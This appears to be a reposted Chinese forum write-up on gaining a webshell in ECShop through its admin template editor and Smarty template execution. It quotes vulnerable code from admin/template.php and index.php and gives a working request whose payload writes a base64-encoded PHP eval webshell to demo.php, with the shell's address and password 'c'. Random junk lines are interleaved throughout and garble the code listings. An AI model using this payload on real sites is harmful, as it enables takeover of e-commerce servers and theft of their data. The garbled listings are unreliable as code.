Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
$ t8 D7 Y" O- O" X9 {  H1 {# y, a但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

- n$ p4 m; r, |/ q* R1 if ($_REQUEST['act'] == 'update_library')
7 h6 T) H7 f4 O. B( R  _
2   
( }! }% q" X4 u+ x9 t
3 {
9 z7 b" ~$ A" l$ t
2 }+ e+ [/ z4 r4     check_authz_json('library_manage');

5   

6     $html = stripslashes(json_str_iconv($_POST['html']));
0 ]9 q% x( y- Z. Z! _
7   
& o, U" L) I7 J# c
9 A* O* _# t! Z) N8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
/ K. l4 L' D: \
! q: Z2 T- y& [- f! c10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
6 ]( j- d2 U2 b9 f* y& G' m" v
: h5 q" ?+ x' z' x1 {6 d3 x! a11   
: a* E+ u5 d1 c
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
; `: B& U3 |8 P0 D1 M
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

! O& d3 Z& y- ~  c# V- f# E15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

. o, b# E) Z8 v5 d/ z3 g" r17         make_json_result('', $_LANG['update_lib_success']);

18     }
/ C9 X. o) I; a1 \0 {, H5 e- d
/ |" n$ L7 d8 F4 g19     else

; q3 K. L- p. e" Z20     {

. J: F  X8 {) ?$ e# o1 {21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
' N5 \4 v* U$ @" G
9 R$ Q6 F9 @, {! ]+ E# P, G22     }

23 }

那么找个比较方便调用了模板的文件
index.php

1 if ($act == 'cat_rec')
% L  h6 L  a0 `* {( v  i, p
1 Q# d6 A' D* C1 q* h2   

) W' }* b2 y9 [9 C4 U3 {
  M2 A& f: g+ r; G! l. b) D
4   
) k' l: v# k6 t6 f
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
5 V# \% N$ N4 O; i  Y- Q# m/ ~
& Q$ S- y" H$ j, U# Z8 I6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   
3 m( t" O/ {, O$ D
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

3 o" r) o8 M+ k7 U11     include_once('includes/cls_json.php');
# x1 J7 s2 x; f* r: ?
12   
7 r9 E1 _; H$ q
( d$ ?% B" M8 z13     $json = new JSON;
% h* v2 q& e+ g+ f, P9 G0 }) \
14   

0 E1 T6 n& ?& T& _) y15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

17     $children = get_children($cat_id);
3 v  n1 x5 b3 _5 R3 }: y! ~( L
/ Z! L2 _' _3 j/ T18   
/ t8 z0 t) Q6 B
4 j! E0 a1 T% N! I' z- c; V5 J9 {1 K) \19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
! N8 W* Q3 p% D+ L- F. Z
20   

21     $smarty->assign('cat_rec_sign', 1);

- Y6 {: S" I$ E6 ~6 N% N22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

8 V/ v' C/ M! A" \24   
3 s$ c( j, b. L3 |
9 B, B1 c# I; o3 q; t8 p  w25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

27         echo $rec_array[$rec_type];

28   

29     die($json->encode($result));
3 y# O4 ?* G7 X9 D7 i: }
30   
. Y/ @6 O6 j( ]" a) a% }+ C( ^$ o
31 }
. s" v, E- V; N( M. E
9 v: S; \( g1 C5 R& T那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
7 p3 O# S: ]/ |# u, UPost内容：
3 q  {5 A+ q" }" H
5 G3 B$ {- v1 r​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
密码c
/ P! H: F5 X$ \2 J- T0 w